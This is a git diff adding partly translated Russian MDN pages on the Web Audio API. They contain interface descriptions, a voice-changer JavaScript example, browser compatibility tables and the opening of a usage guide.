+ <li>Определим узлы эффектов, такие как реверберация (reverb), биквадратный фильтр (biquad filter), панораммирование (panner), сжатие (compressor)</li>
+ <li>Выберем конечную точку аудио сигнала, например ваши системные звуковые устройства</li>
+ <li>Привяжем наши источники к эффектам, и эффекты к конечному сигналу.</li>
+</ol>
+
+<p><img alt="A simple box diagram with an outer box labeled Audio context, and three inner boxes labeled Sources, Effects and Destination. The three inner boxes have arrow between them pointing from left to right, indicating the flow of audio information." src="https://mdn.mozillademos.org/files/7893/web-audio-api-flowchart.png" style="display: block; height: 113px; margin: 0px auto; width: 635px;"></p>
+
+<p>Распределение времени контролируется с высокой точностью и низкими задержками, позволяя разработчикам писать код, что точно реагирует на события и в состоянии обработать образец даже на высокой оценке образцов (sample rate). Так что такие приложения как ритм-компьютер и програмный автомат всегда под рукой.</p>
+
+<p>Web audio API также даёт нам возможность контролировать то, каким аудио является в пространстве. Используя особую систему, что базируется<br>
+ на модели source-listener, он позволяет контролировать модель панораммирования и обходиться без дистанционно-вызваного ослабления (distance-induced attenuation) или duppler shift, вызванного сдвигом источника (или сдвигом слушателя).</p>
+
+<div class="note">
+<p>Помните: Вы можете прочитать более детальный теоритический материал о Web audio API в нашей статье<a href="/en-US/docs/Web/API/Web_Audio_API/Basic_concepts_behind_Web_Audio_API"> Basic concepts behind Web Audio API</a>.</p>
+</div>
+
+<h2 id="Web_Audio_API_интерфейсы">Web Audio API интерфейсы</h2>
+
+<p>В Web audio API есть всего 28 интерфейсов и соответствующих событий, которые мы cгруппировали в 9 категорий по функциональности.</p>
+
+<h3 id="Главные_объекты_определения_аудио">Главные объекты определения аудио</h3>
+
+<p>Главные контейнеры и определения, что формируют аудио объект в Web Audio API.</p>
+
+<dl>
+ <dt>{{domxref("AudioContext")}}</dt>
+ <dd>AudioContext представляет собой некий аудио обрабатывающий объект, сооруженный из аудио модулей связаных вместе, где каждый является экземпляром класса {{domxref("AudioNode")}}. AudioContext управляет созданием узлов, содержащихся в нём и выполняет обработку или декодирование аудио данных.</dd>
+ <dt>{{domxref("AudioNode")}}</dt>
+ <dd>Интерфейс AudioNode представляет собой некий обрабатывающий  модуль такой как источник аудио  (то есть HTML &lt;audio&gt; или &lt;video&gt; елемент), конечный аудио объект, модуль непосредственной обработки (например фильтр BiquadFilterNode или звуковой контроллер такой как GainNode).</dd>
+ <dt>{{domxref("AudioParam")}}</dt>
+ <dd><code>Интерфейс </code><strong><code>AudioParam </code></strong><code>представляет аудио-параметры связанные с </code>{{domxref("AudioNode")}}. Он может содержать как точное значение параметра, так и параметры изменяющиеся во времени.</dd>
+ <dt>{{event("ended_(Web_Audio)", "ended")}} (event)</dt>
+ <dd>Событие <strong>ended </strong>генерируется тогда, когда воспроизведение остановлено по причине окончания носителя.</dd>
+ <dt></dt>
+</dl>
+
+<h3 id="Источники_звука">Источники звука</h3>
+
+<p>Интерфейсы, которые определяют источники звука для использования в Web Audio API.</p>
+
+<dl>
+ <dt>{{domxref("OscillatorNode")}}</dt>
+ <dd><strong><code style="font-size: 14px;">OscillatorNode</code></strong><strong> </strong>представляет собой источник синусоидальной волны. Это модуль {{domxref("AudioNode")}} который принимает на вход <em>частоту </em>и генерирует синусоидальную волну с этой частотой.</dd>
+ <dt>{{domxref("AudioBuffer")}}</dt>
+ <dd>Интерфейс <strong><code>AudioBuffer</code></strong> представляет собой короткий аудио сэмпл находящийся в памяти, созданный из аудио файла с использованием метода {{ domxref("AudioContext.decodeAudioData()") }}, или созданный из необработанных(сырых) данных с использованием метода {{ domxref("AudioContext.createBuffer()") }}. После декодирования аудио данные могут быть помещены в {{ domxref("AudioBufferSourceNode") }}.</dd>
+ <dt>{{domxref("AudioBufferSourceNode")}}</dt>
+ <dd><code>Интерфейс </code><strong><code>AudioBufferSourceNode </code></strong><code>представляет собой источник звука, состоящий из аудио данных, хранящихся в </code>{{domxref("AudioBuffer")}}. Это {{domxref("AudioNode")}}, который действует в качестве источника звука.</dd>
+ <dt>{{domxref("MediaElementAudioSourceNode")}}</dt>
+ <dd>Интерфейс <code><strong>MediaElementAudio</strong></code><strong><code>SourceNode</code></strong> представляет источник звука, содержащегося в элементе HTML5 {{ htmlelement("audio") }} или {{ htmlelement("video") }} .  Это {{domxref("AudioNode")}}, который действует в качестве источника звука.</dd>
+ <dt>{{domxref("MediaStreamAudioSourceNode")}}</dt>
+ <dd>Интерфейс <code><strong>MediaStreamAudio</strong></code><strong><code>SourceNode</code></strong> представляет источник звука, содержащегося в потоке  <a href="/en-US/docs/WebRTC" title="/en-US/docs/WebRTC">WebRTC</a> {{domxref("MediaStream")}} (например веб-камеры или микрофона). Это {{domxref("AudioNode")}}, который действует в качестве источника звука.</dd>
+</dl>
+
+<h3 id="Аудио_фильтры">Аудио фильтры</h3>
+
+<p>Интерфейсы для определения эффектов которые можно применить к источникам звука.</p>
+
+<dl>
+ <dt>{{domxref("BiquadFilterNode")}}</dt>
+ <dd><strong><code>BiquadFilterNode </code></strong><code>представляет простой фильтр низкого порядка. Это </code>{{domxref("AudioNode")}} представляющий различные виды фильтров такие как эквалайзер или управление тональностью. <strong><code>BiquadFilterNode</code></strong><code> имеет ровно один вход и один выход.</code></dd>
+ <dt>{{domxref("ConvolverNode")}}</dt>
+ <dd><code><strong>Convolver</strong></code><strong><code>Node</code></strong><strong> </strong>это <span style="line-height: 1.5;">{{domxref("AudioNode")}} выполняющий линейную свертку </span><span style="line-height: 1.5;">AudioBuffer, часто применяется для достижения эффекта реверберации по заданной импульсной характеристике.</span></dd>
+ <dt>{{domxref("DelayNode")}}</dt>
+ <dd><strong><code>DelayNode</code></strong><strong> </strong>представляет собой линию задержки (<a href="http://en.wikipedia.org/wiki/Digital_delay_line" title="http://en.wikipedia.org/wiki/Digital_delay_line">delay-line</a>); содержит {{domxref("AudioNode")}} вызывающий задержку между выходным и входным сигналом.</dd>
+ <dt>{{domxref("DynamicsCompressorNode")}}</dt>
+ <dd>The <strong><code>DynamicsCompressorNode</code></strong> interface provides a compression effect, which lowers the volume of the loudest parts of the signal in order to help prevent clipping and distortion that can occur when multiple sounds are played and multiplexed together at once.</dd>
+ <dt>{{domxref("GainNode")}}</dt>
+ <dd>The <strong><code>GainNode</code></strong><strong> </strong>interface represents a change in volume. It is an {{domxref("AudioNode")}} audio-processing module that causes a given <em>gain</em> to be applied to the input data before its propagation to the output.</dd>
+ <dt>{{domxref("StereoPannerNode")}}</dt>
+ <dd>The <code><strong>StereoPannerNode</strong></code> interface represents a simple stereo panner node  that can be used to pan an audio stream left or right.</dd>
+ <dt>{{domxref("WaveShaperNode")}}</dt>
+ <dd>The <strong><code>WaveShaperNode</code></strong><strong> </strong>interface represents a non-linear distorter. It is an {{domxref("AudioNode")}} that use a curve to apply a waveshaping distortion to the signal. Beside obvious distortion effects, it is often used to add a warm feeling to the signal.</dd>
+ <dt>{{domxref("PeriodicWave")}}</dt>
+ <dd>Used to define a periodic waveform that can be used to shape the output of an {{ domxref("OscillatorNode") }}.</dd>
+</dl>
+
+<h3 id="Defining_audio_destinations">Defining audio destinations</h3>
+
+<p>Once you are done processing your audio, these interfaces define where to output it.</p>
+
+<dl>
+ <dt>{{domxref("AudioDestinationNode")}}</dt>
+ <dd>The <strong><code>AudioDestinationNode</code></strong> interface represents the end destination of an audio source in a given context — usually the speakers of your device.</dd>
+ <dt>{{domxref("MediaStreamAudioDestinationNode")}}</dt>
+ <dd>The <code><strong>MediaStreamAudio</strong></code><strong><code>DestinationNode</code></strong> interface represents an audio destination consisting of a <a href="/en-US/docs/WebRTC" title="/en-US/docs/WebRTC">WebRTC</a> {{domxref("MediaStream")}} with a single <code>AudioMediaStreamTrack</code>, which can be used in a similar way to a MediaStream obtained from {{ domxref("Navigator.getUserMedia") }}. It is an {{domxref("AudioNode")}} that acts as an audio destination.</dd>
+</dl>
+
+<h3 id="Анализ_и_визуализация_данных">Анализ и визуализация данных</h3>
+
+<p>If you want to extract time, frequency and other data from your audio, the <code>AnalyserNode</code> is what you need.</p>
+
+<dl>
+ <dt>{{domxref("AnalyserNode")}}</dt>
+ <dd>The <strong><code>AnalyserNode</code></strong> interface represents a node able to provide real-time frequency and time-domain analysis information, for the purposes of data analysis and visualization.</dd>
+</dl>
+
+<h3 id="Splitting_and_merging_audio_channels">Splitting and merging audio channels</h3>
+
+<p>To split and merge audio channels, you'll use these interfaces.</p>
+
+<dl>
+ <dt>{{domxref("ChannelSplitterNode")}}</dt>
+ <dd>The <code><strong>ChannelSplitterNode</strong></code> interface separates the different channels of an audio source out into a set of <em>mono</em> outputs.</dd>
+ <dt>{{domxref("ChannelMergerNode")}}</dt>
+ <dd>The <code><strong>ChannelMergerNode</strong></code> interface reunites different mono inputs into a single output. Each input will be used to fill a channel of the output.</dd>
+</dl>
+
+<h3 id="Audio_spatialization">Audio spatialization</h3>
+
+<p>These interfaces allow you to add audio spatialization panning effects to your audio sources.</p>
+
+<dl>
+ <dt>{{domxref("AudioListener")}}</dt>
+ <dd>The <strong><code>AudioListener</code></strong><strong> </strong>interface represents the position and orientation of the unique person listening to the audio scene used in audio spatialization.</dd>
+ <dt>{{domxref("PannerNode")}}</dt>
+ <dd>The <strong><code>PannerNode</code></strong><strong> </strong>interface represents the behavior of a signal in space. It is an {{domxref("AudioNode")}} audio-processing module describing its position with right-hand Cartesian coordinates, its movement using a velocity vector and its directionality using a directionality cone.</dd>
+</dl>
+
+<h3 id="Audio_processing_via_JavaScript">Audio processing via JavaScript</h3>
+
+<p>If you want to use an external script to process your audio source, the below Node and events make it possible.</p>
+
+<div class="note">
+<p><strong>Note</strong>: As of the August 29 2014 Web Audio API spec publication, these features have been marked as deprecated, and are soon to be replaced by {{ anch("Audio_Workers") }}.</p>
+</div>
+
+<dl>
+ <dt>{{domxref("ScriptProcessorNode")}}</dt>
+ <dd>The <strong><code>ScriptProcessorNode</code></strong><strong> </strong>interface allows the generation, processing, or analyzing of audio using JavaScript. It is an {{domxref("AudioNode")}} audio-processing module that is linked to two buffers, one containing the current input, one containing the output. An event, implementing the {{domxref("AudioProcessingEvent")}} interface, is sent to the object each time the input buffer contains new data, and the event handler terminates when it has filled the output buffer with data.</dd>
+ <dt>{{event("audioprocess")}} (event)</dt>
+ <dd>The <code>audioprocess</code> event is fired when an input buffer of a Web Audio API {{domxref("ScriptProcessorNode")}} is ready to be processed.</dd>
+ <dt>{{domxref("AudioProcessingEvent")}}</dt>
+ <dd>The <a href="/en-US/docs/Web_Audio_API" title="/en-US/docs/Web_Audio_API">Web Audio API</a> <code>AudioProcessingEvent</code> represents events that occur when a {{domxref("ScriptProcessorNode")}} input buffer is ready to be processed.</dd>
+</dl>
+
+<h3 id="Offlinebackground_audio_processing">Offline/background audio processing</h3>
+
+<p>It is possible to process/render an audio graph very quickly in the background — rendering it to an {{domxref("AudioBuffer")}} rather than to the device's speakers — with the following.</p>
+
+<dl>
+ <dt>{{domxref("OfflineAudioContext")}}</dt>
+ <dd>The <strong><code>OfflineAudioContext</code></strong> interface is an {{domxref("AudioContext")}} interface representing an audio-processing graph built from linked together {{domxref("AudioNode")}}s. In contrast with a standard <code>AudioContext</code>, an <code>OfflineAudioContext</code> doesn't really render the audio but rather generates it, <em>as fast as it can</em>, in a buffer.</dd>
+ <dt>{{event("complete")}} (event)</dt>
+ <dd>The <code>complete</code> event is fired when the rendering of an {{domxref("OfflineAudioContext")}} is terminated.</dd>
+ <dt>{{domxref("OfflineAudioCompletionEvent")}}</dt>
+ <dd>The <code>OfflineAudioCompletionEvent</code> represents events that occur when the processing of an {{domxref("OfflineAudioContext")}} is terminated. The {{event("complete")}} event implements this interface.</dd>
+</dl>
+
+<h3 id="Audio_Workers" name="Audio_Workers">Audio Workers</h3>
+
+<p>Audio workers provide the ability for direct scripted audio processing to be done inside a <a href="/en-US/docs/Web/Guide/Performance/Using_web_workers">web worker</a> context, and are defined by a couple of interfaces (new as of 29th August 2014.) These are not implemented in any browsers yet. When implemented, they will replace {{domxref("ScriptProcessorNode")}}, and the other features discussed in the <a href="#Audio_processing_via_JavaScript">Audio processing via JavaScript</a> section above.</p>
+
+<dl>
+ <dt>{{domxref("AudioWorkerNode")}}</dt>
+ <dd>The AudioWorkerNode interface represents an {{domxref("AudioNode")}} that interacts with a worker thread to generate, process, or analyse audio directly.</dd>
+ <dt>{{domxref("AudioWorkerGlobalScope")}}</dt>
+ <dd>The <code>AudioWorkerGlobalScope</code> interface is a <code>DedicatedWorkerGlobalScope</code>-derived object representing a worker context in which an audio processing script is run; it is designed to enable the generation, processing, and analysis of audio data directly using JavaScript in a worker thread.</dd>
+ <dt>{{domxref("AudioProcessEvent")}}</dt>
+ <dd>This is an <code>Event</code> object that is dispatched to {{domxref("AudioWorkerGlobalScope")}} objects to perform processing.</dd>
+</dl>
+
+<h2 id="Example" name="Example">Obsolete interfaces</h2>
+
+<p>The following interfaces were defined in old versions of the Web Audio API spec, but are now obsolete and have been replaced by other interfaces.</p>
+
+<dl>
+ <dt>{{domxref("JavaScriptNode")}}</dt>
+ <dd>Used for direct audio processing via JavaScript. This interface is obsolete, and has been replaced by {{domxref("ScriptProcessorNode")}}.</dd>
+ <dt>{{domxref("WaveTableNode")}}</dt>
+ <dd>Used to define a periodic waveform. This interface is obsolete, and has been replaced by {{domxref("PeriodicWave")}}.</dd>
+</dl>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<p>This example shows a wide variety of Web Audio API functions being used. You can see this code in action on the <a href="http://mdn.github.io/voice-change-o-matic/">Voice-change-o-matic</a> demo (also check out the <a href="https://github.com/mdn/voice-change-o-matic">full source code at Github</a>) — this is an experimental voice changer toy demo; keep your speakers turned down low when you use it, at least to start!</p>
+
+<p>The Web Audio API lines are highlighted; if you want to find more out about what the different methods, etc. do, have a search around the reference pages.</p>
+
+<pre class="brush: js; highlight:[1,2,9,10,11,12,36,37,38,39,40,41,62,63,72,114,115,121,123,124,125,147,151] notranslate">var audioCtx = new (window.AudioContext || window.webkitAudioContext)(); // define audio context
+// Webkit/blink browsers need prefix, Safari won't work without window.
+
+var voiceSelect = document.getElementById("voice"); // select box for selecting voice effect options
+var visualSelect = document.getElementById("visual"); // select box for selecting audio visualization options
+var mute = document.querySelector('.mute'); // mute button
+var drawVisual; // requestAnimationFrame
+
+var analyser = audioCtx.createAnalyser();
+var distortion = audioCtx.createWaveShaper();
+var gainNode = audioCtx.createGain();
+var biquadFilter = audioCtx.createBiquadFilter();
+
+function makeDistortionCurve(amount) { // function to make curve shape for distortion/wave shaper node to use
+  var k = typeof amount === 'number' ? amount : 50,
+    n_samples = 44100,
+    curve = new Float32Array(n_samples),
+    deg = Math.PI / 180,
+    i = 0,
+    x;
+  for ( ; i &lt; n_samples; ++i ) {
+    x = i * 2 / n_samples - 1;
+    curve[i] = ( 3 + k ) * x * 20 * deg / ( Math.PI + k * Math.abs(x) );
+  }
+  return curve;
+};
+
+navigator.getUserMedia (
+  // constraints - only audio needed for this app
+  {
+    audio: true
+  },
+
+  // Success callback
+  function(stream) {
+    source = audioCtx.createMediaStreamSource(stream);
+    source.connect(analyser);
+    analyser.connect(distortion);
+    distortion.connect(biquadFilter);
+    biquadFilter.connect(gainNode);
+    gainNode.connect(audioCtx.destination); // connecting the different audio graph nodes together
+
+    visualize(stream);
+    voiceChange();
+
+  },
+
+  // Error callback
+  function(err) {
+    console.log('The following gUM error occured: ' + err);
+  }
+);
+
+function visualize(stream) {
+  WIDTH = canvas.width;
+  HEIGHT = canvas.height;
+
+  var visualSetting = visualSelect.value;
+  console.log(visualSetting);
+
+  if(visualSetting == "sinewave") {
+    analyser.fftSize = 2048;
+    var bufferLength = analyser.frequencyBinCount; // half the FFT value
+    var dataArray = new Uint8Array(bufferLength); // create an array to store the data
+
+    canvasCtx.clearRect(0, 0, WIDTH, HEIGHT);
+
+    function draw() {
+
+      drawVisual = requestAnimationFrame(draw);
+
+      analyser.getByteTimeDomainData(dataArray); // get waveform data and put it into the array created above
+
+      canvasCtx.fillStyle = 'rgb(200, 200, 200)'; // draw wave with canvas
+      canvasCtx.fillRect(0, 0, WIDTH, HEIGHT);
+
+      canvasCtx.lineWidth = 2;
+      canvasCtx.strokeStyle = 'rgb(0, 0, 0)';
+
+      canvasCtx.beginPath();
+
+      var sliceWidth = WIDTH * 1.0 / bufferLength;
+      var x = 0;
+
+      for(var i = 0; i &lt; bufferLength; i++) {
+
+        var v = dataArray[i] / 128.0;
+        var y = v * HEIGHT/2;
+
+        if(i === 0) {
+          canvasCtx.moveTo(x, y);
+        } else {
+          canvasCtx.lineTo(x, y);
+        }
+
+        x += sliceWidth;
+      }
+
+      canvasCtx.lineTo(canvas.width, canvas.height/2);
+      canvasCtx.stroke();
+    };
+
+    draw();
+
+  } else if(visualSetting == "off") {
+    canvasCtx.clearRect(0, 0, WIDTH, HEIGHT);
+    canvasCtx.fillStyle = "red";
+    canvasCtx.fillRect(0, 0, WIDTH, HEIGHT);
+  }
+
+}
+
+function voiceChange() {
+  distortion.curve = new Float32Array;
+  biquadFilter.gain.value = 0; // reset the effects each time the voiceChange function is run
+
+  var voiceSetting = voiceSelect.value;
+  console.log(voiceSetting);
+
+  if(voiceSetting == "distortion") {
+    distortion.curve = makeDistortionCurve(400); // apply distortion to sound using waveshaper node
+  } else if(voiceSetting == "biquad") {
+    biquadFilter.type = "lowshelf";
+    biquadFilter.frequency.value = 1000;
+    biquadFilter.gain.value = 25; // apply lowshelf filter to sounds using biquad
+  } else if(voiceSetting == "off") {
+    console.log("Voice settings turned off"); // do nothing, as off option was chosen
+  }
+
+}
+
+// event listeners to change visualize and voice settings
+
+visualSelect.onchange = function() {
+  window.cancelAnimationFrame(drawVisual);
+  visualize(stream);
+}
+
+voiceSelect.onchange = function() {
+  voiceChange();
+}
+
+mute.onclick = voiceMute;
+
+function voiceMute() { // toggle to mute and unmute sound
+  if(mute.id == "") {
+    gainNode.gain.value = 0; // gain set to 0 to mute sound
+    mute.id = "activated";
+    mute.innerHTML = "Unmute";
+  } else {
+    gainNode.gain.value = 1; // gain set to 1 to unmute sound
+    mute.id = "";
+    mute.innerHTML = "Mute";
+  }
+}
+</pre>
+
+<h2 id="Определения">Определения</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Audio API')}}</td>
+   <td>{{Spec2('Web Audio API')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>14 {{property_prefix("webkit")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>23</td>
+   <td>{{CompatNo}}</td>
+   <td>15 {{property_prefix("webkit")}}<br>
+    22 (unprefixed)</td>
+   <td>6 {{property_prefix("webkit")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}}</td>
+   <td>28 {{property_prefix("webkit")}}</td>
+   <td>25</td>
+   <td>1.2</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>6 {{property_prefix("webkit")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Web_Audio_API/Using_Web_Audio_API">Using the Web Audio API</a></li>
+ <li><a href="/en-US/docs/Web/API/Web_Audio_API/Visualizations_with_Web_Audio_API">Visualizations with Web Audio API</a></li>
+ <li><a href="http://mdn.github.io/voice-change-o-matic/">Voice-change-O-matic example</a></li>
+ <li><a href="http://mdn.github.io/violent-theremin/">Violent Theremin example</a></li>
+ <li><a href="/en-US/docs/Web/API/Web_Audio_API/Web_audio_spatialisation_basics">Web audio spatialisation basics</a></li>
+ <li><a href="http://www.html5rocks.com/tutorials/webaudio/positional_audio/" title="http://www.html5rocks.com/tutorials/webaudio/positional_audio/">Mixing Positional Audio and WebGL</a></li>
+ <li><a href="http://www.html5rocks.com/tutorials/webaudio/games/" title="http://www.html5rocks.com/tutorials/webaudio/games/">Developing Game Audio with the Web Audio API</a></li>
+ <li><a href="/en-US/docs/Web/API/Web_Audio_API/Porting_webkitAudioContext_code_to_standards_based_AudioContext" title="/en-US/docs/Web_Audio_API/Porting_webkitAudioContext_code_to_standards_based_AudioContext">Porting webkitAudioContext code to standards based AudioContext</a></li>
+ <li><a href="https://github.com/bit101/tones">Tones</a>: a simple library for playing specific tones/notes using the Web Audio API.</li>
+ <li><a href="https://github.com/goldfire/howler.js/">howler.js</a>: a JS audio library that defaults to <a href="https://dvcs.w3.org/hg/audio/raw-file/tip/webaudio/specification.html">Web Audio API</a> and falls back to <a href="http://www.whatwg.org/specs/web-apps/current-work/#the-audio-element">HTML5 Audio</a>, as well as providing other useful features.</li>
+ <li><a href="https://github.com/mattlima/mooog">Mooog</a>: jQuery-style chaining of AudioNodes, mixer-style sends/returns, and more.</li>
+</ul>
+
+<section id="Quick_Links">
+<h3 id="Quicklinks">Quicklinks</h3>
+
+<ol>
+ <li data-default-state="open"><strong><a href="#">Guides</a></strong>
+
+  <ol>
+   <li><a href="/en-US/docs/Web/API/Web_Audio_API/Basic_concepts_behind_Web_Audio_API">Basic concepts behind Web Audio API</a></li>
+   <li><a href="/en-US/docs/Web/API/Web_Audio_API/Using_Web_Audio_API">Using the Web Audio API</a></li>
+   <li><a href="/en-US/docs/Web/API/Web_Audio_API/Visualizations_with_Web_Audio_API">Visualizations with Web Audio API</a></li>
+   <li><a href="/en-US/docs/Web/API/Web_Audio_API/Web_audio_spatialisation_basics">Web audio spatialisation basics</a></li>
+   <li><a href="/en-US/docs/Web/API/Web_Audio_API/Porting_webkitAudioContext_code_to_standards_based_AudioContext" title="/en-US/docs/Web_Audio_API/Porting_webkitAudioContext_code_to_standards_based_AudioContext">Porting webkitAudioContext code to standards based AudioContext</a></li>
+  </ol>
+ </li>
+ <li data-default-state="open"><strong><a href="#">Examples</a></strong>
+  <ol>
+   <li><a href="http://mdn.github.io/voice-change-o-matic/">Voice-change-O-matic</a></li>
+   <li><a href="http://mdn.github.io/violent-theremin/">Violent Theremin</a></li>
+  </ol>
+ </li>
+ <li data-default-state="open"><strong><a href="#">Interfaces</a></strong>
+  <ol>
+   <li>{{domxref("AnalyserNode")}}</li>
+   <li>{{domxref("AudioBuffer")}}</li>
+   <li>{{domxref("AudioBufferSourceNode")}}</li>
+   <li>{{domxref("AudioContext")}}</li>
+   <li>{{domxref("AudioDestinationNode")}}</li>
+   <li>{{domxref("AudioListener")}}</li>
+   <li>{{domxref("AudioNode")}}</li>
+   <li>{{domxref("AudioParam")}}</li>
+   <li>{{event("audioprocess")}} (event)</li>
+   <li>{{domxref("AudioProcessingEvent")}}</li>
+   <li>{{domxref("BiquadFilterNode")}}</li>
+   <li>{{domxref("ChannelMergerNode")}}</li>
+   <li>{{domxref("ChannelSplitterNode")}}</li>
+   <li>{{event("complete")}} (event)</li>
+   <li>{{domxref("ConvolverNode")}}</li>
+   <li>{{domxref("DelayNode")}}</li>
+   <li>{{domxref("DynamicsCompressorNode")}}</li>
+   <li>{{event("ended_(Web_Audio)", "ended")}} (event)</li>
+   <li>{{domxref("GainNode")}}</li>
+   <li>{{domxref("MediaElementAudioSourceNode")}}</li>
+   <li>{{domxref("MediaStreamAudioDestinationNode")}}</li>
+   <li>{{domxref("MediaStreamAudioSourceNode")}}</li>
+   <li>{{domxref("OfflineAudioCompletionEvent")}}</li>
+   <li>{{domxref("OfflineAudioContext")}}</li>
+   <li>{{domxref("OscillatorNode")}}</li>
+   <li>{{domxref("PannerNode")}}</li>
+   <li>{{domxref("PeriodicWaveNode")}}</li>
+   <li>{{domxref("ScriptProcessorNode")}}</li>
+   <li>{{domxref("WaveShaperNode")}}</li>
+  </ol>
+ </li>
+</ol>
+</section>
diff --git a/files/ru/web/api/web_audio_api/using_web_audio_api/index.html b/files/ru/web/api/web_audio_api/using_web_audio_api/index.html
new file mode 100644
index 0000000000..056ebde044
--- /dev/null
+++ b/files/ru/web/api/web_audio_api/using_web_audio_api/index.html
@@ -0,0 +1,281 @@
+---
+title: Используем Web Audio API
+slug: Web/API/Web_Audio_API/Using_Web_Audio_API
+translation_of: Web/API/Web_Audio_API/Using_Web_Audio_API
+---
+<div class="summary">
+<p><span class="seoSummary"><a href="/en-US/docs/Web_Audio_API">Web Audio API</a> обеспечивает простой, но мощный механизм реализации и управления аудио-контентом внутри web приложения. Это позволяет разрабатывать сложные аудио миксины, эффекты и т.д. В этой статье мы постараемся обьяснить основы использования Web Audio API, посредством пары простых примеров.</span></p>
+</div>
+
+<div>
+<p>The Web Audio API does not replace the <a href="/en-US/docs/Web/HTML/Element/audio">&lt;audio&gt;</a> media element, but rather complements it, just like <a href="/en-US/docs/Web/HTML/Element/canvas">&lt;canvas&gt;</a> co-exists well alongside the <a href="/en-US/docs/Web/HTML/Element/Img">&lt;img&gt;</a> element. What you use to implement audio depends on your use case. If you just want to control playback of a simple audio track, &lt;audio&gt; is probably a better, quicker solution. If you want to carry out more complex audio processing, as well as playback, Web Audio API provides much more power and control.</p>
+
+<p>One very powerful thing about the Web Audio API is that it does not have any strict "sound call limitations". There is no ceiling of 32 or 64 sound calls at one time, for example. Depending on the power of your processor, you might be able to get a thousand or more sounds playing simultaneously without stuttering. This shows real progress, given that a few years ago mid to high range sound cards were able to handle only a fraction of this load.</p>
+</div>
+
+<h2 id="Examples">Examples</h2>
+
+<p>To demonstrate usage of the Web Audio API, we created a number of examples which will be added to as time goes on. Please feel free to add to them and suggest improvements!</p>
+
+<p>First off, we created the <a href="https://github.com/mdn/voice-change-o-matic">Voice-change-O-matic</a>, a fun voice changer and sound visualisation web app, which allows you to choose different effects and visualisations. This could definitely be improved on with better quality effects, but it demonstrates the usage of multiple Web Audio API features together (<a href="http://mdn.github.io/voice-change-o-matic/">run the Voice-change-O-matic live</a>).</p>
+
+<p><img alt="A UI with a sound wave being shown, and options for choosing voice effects and visualizations." src="https://mdn.mozillademos.org/files/7921/voice-change-o-matic.png" style="display: block; height: 500px; margin: 0px auto; width: 640px;"></p>
+
+<p>Another example we've created on our quest to understand the Web Audio is the <a href="http://mdn.github.io/violent-theremin/">Violent Theremin</a>, a simple app allowing you to change the pitch and volume by moving your mouse pointer. It also provides a psychedelic lightshow (<a href="https://github.com/mdn/violent-theremin">see Violent Theremin source code</a>).</p>
+
+<p><img alt="A page full of rainbow colours, with two buttons labeled Clear screen and mute. " src="https://mdn.mozillademos.org/files/7919/violent-theremin.png" style="display: block; height: 458px; margin: 0px auto; width: 640px;"></p>
+
+<h2 id="Basic_concepts">Basic concepts</h2>
+
+<div class="note">
+<p><strong>Note</strong>: most of the code snippets in this example are taken from the <a href="https://github.com/mdn/violent-theremin">Violent Theremin example</a>.</p>
+</div>
+
+<p>The Web Audio API involves handling audio operations inside an <strong>audio context</strong>, and has been designed to allow <strong>modular routing</strong>. Basic audio operations are performed with <strong>audio nodes</strong>, which are linked together to form an <strong>audio routing graph</strong>. Several sources — with different types of channel layouts — are supported even within a single context. This modular design provides the flexibility to create complex audio functions with dynamic effects.</p>
+
+<p>Audio nodes are linked via their inputs and outputs, forming a chain that starts with one or more sources, goes through one or more nodes, then ends up at a destination (although you don't have to provide a destination if you, say, just want to visualise some audio data). A simple, typical workflow for web audio would look something like this:</p>
+
+<ol>
+ <li>Create audio context</li>
+ <li>Inside the context, create sources — such as <code>&lt;audio&gt;</code>, oscillator, stream</li>
+ <li>Create effects nodes, such as reverb, biquad filter, panner, compressor</li>
+ <li>Choose final destination of audio, for example your system speakers</li>
+ <li>Connect the sources up to the effects, and the effects to the destination</li>
+</ol>
+
+<h3 id="Creating_an_audio_context">Creating an audio context</h3>
+
+<p>First, you will need to create an instance of <a href="/en-US/docs/Web/API/AudioContext"><code>AudioContext</code></a> to build an audio graph upon. The simplest example of this would look like so:</p>
+
+<pre class="brush: js">var audioCtx = new AudioContext();
+</pre>
+
+<div class="note">
+<p><strong>Note</strong>: Multiple audio context instances are allowed on the same document, but are likely wasteful.</p>
+</div>
+
+<p>However, it is important to provide a prefixed version for Webkit/Blink browsers, and a non-prefixed version for Firefox (desktop/mobile/OS). Something like this would work:</p>
+
+<pre class="brush: js">var audioCtx = new (window.AudioContext || window.webkitAudioContext)();
+</pre>
+
+<div class="note">
+<p><strong>Note</strong>: <span style="line-height: 1.5;">Safari can break if you don't explcitly mention the </span><code style="line-height: 1.5; font-style: normal;">window</code><span style="line-height: 1.5;"> object when creating a new context!</span></p>
+</div>
+
+<h3 id="Creating_an_audio_source">Creating an audio source</h3>
+
+<p>Now we have an audio context, and we can use the methods of this context to do most everything else. The first thing we need is an audio source to play around with. Audio sources can come from a variety of places:</p>
+
+<ul>
+ <li>Generated directly by JavaScript by an audio node such as an oscillator. An {{ domxref("OscillatorNode") }} is created using the {{ domxref("AudioContext.createOscillator") }} method.</li>
